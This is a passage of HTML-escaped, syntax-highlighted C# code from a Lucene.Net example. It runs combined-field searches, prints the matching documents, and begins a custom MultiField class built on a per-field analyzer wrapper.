66&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 67&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// hits on first field&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 68&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;SearchCombined&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;searcher&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;123&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 69&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 70&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// hits on second field&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 71&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;SearchCombined&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;searcher&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;789&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 72&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 73&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// does not hit on second field because numeric analyzer skips that content.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 74&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;SearchCombined&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;searcher&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;normal&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 75&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 76&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ReadKey&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 77&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 78&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 79&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;SearchCombined&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Searcher&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;searcher&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;queryString&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 80&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 81&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// Build a Query object&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 82&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;QueryParser&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;parser&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;QueryParser&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;combined&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;StandardAnalyzer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;());&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 83&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;Query&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;query&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;parser&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Parse&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;queryString&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 84&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 85&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// Search for the query&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 86&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;Hits&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;hits&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;searcher&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Search&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;query&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 87&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 88&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;          &lt;span class=&#34;c1&#34;&gt;// Examine the Hits object to see if there were any matches&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 89&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;          &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;hitCount&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;hits&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Length&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 90&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;          &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;hitCount&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 91&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;              &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;No matches were found for \&amp;#34;&amp;#34;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;queryString&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;\&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 92&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;          &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 93&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;          &lt;span class=&#34;k&#34;&gt;else&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 94&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;              &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;Hits for \&amp;#34;&amp;#34;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;queryString&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;\&amp;#34; were found in quotes by:&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 95&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;   &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 96&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;              &lt;span class=&#34;c1&#34;&gt;// Iterate over the Documents in the Hits object&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 97&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;              &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;hitCount&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;++)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 98&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                  &lt;span class=&#34;n&#34;&gt;Document&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;doc&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;hits&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Doc&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 99&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;   &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;100&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                  &lt;span class=&#34;c1&#34;&gt;// Print the value that we stored in the &amp;#34;title&amp;#34; field. Note&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;101&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                  &lt;span class=&#34;c1&#34;&gt;// that this Field was not indexed, but (unlike the&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;102&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                  &lt;span class=&#34;c1&#34;&gt;// &amp;#34;contents&amp;#34; field) was stored verbatim and can be&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;103&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                  &lt;span class=&#34;c1&#34;&gt;// retrieved.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;104&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                  &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;  &amp;#34;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;] [id: &amp;#34;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;doc&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Get&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;] [text_content: &amp;#34;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;doc&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Get&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;text_content&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;]&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;105&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;              &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;106&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;          &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;107&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;          &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;108&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;109&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;110&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;111&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;112&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;MultiField&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Fieldable&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;113&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;114&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;MultiField&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;List&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Fieldable&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;fields&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;PerFieldAnalyzerWrapper&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;analyzerWrapper&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;115&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;116&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;_name&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;117&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;_fields&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;fields&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;118&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;_analyzerWrapper&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;analyzerWrapper&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;119&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;120&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;121&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;122&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;List&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Fieldable&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_fields&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;123&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;PerFieldAnalyzerWrapper&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_analyzerWrapper&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;124&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;125&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#region Fieldable Members&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;126&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;127&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;SetBoost&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;float&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;boost&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;128&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;129&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//throw new Exception(&amp;#34;The method or operation is not implemented.&amp;#34;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;130&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;131&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;132&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;float&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;GetBoost&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;133&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;134&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; 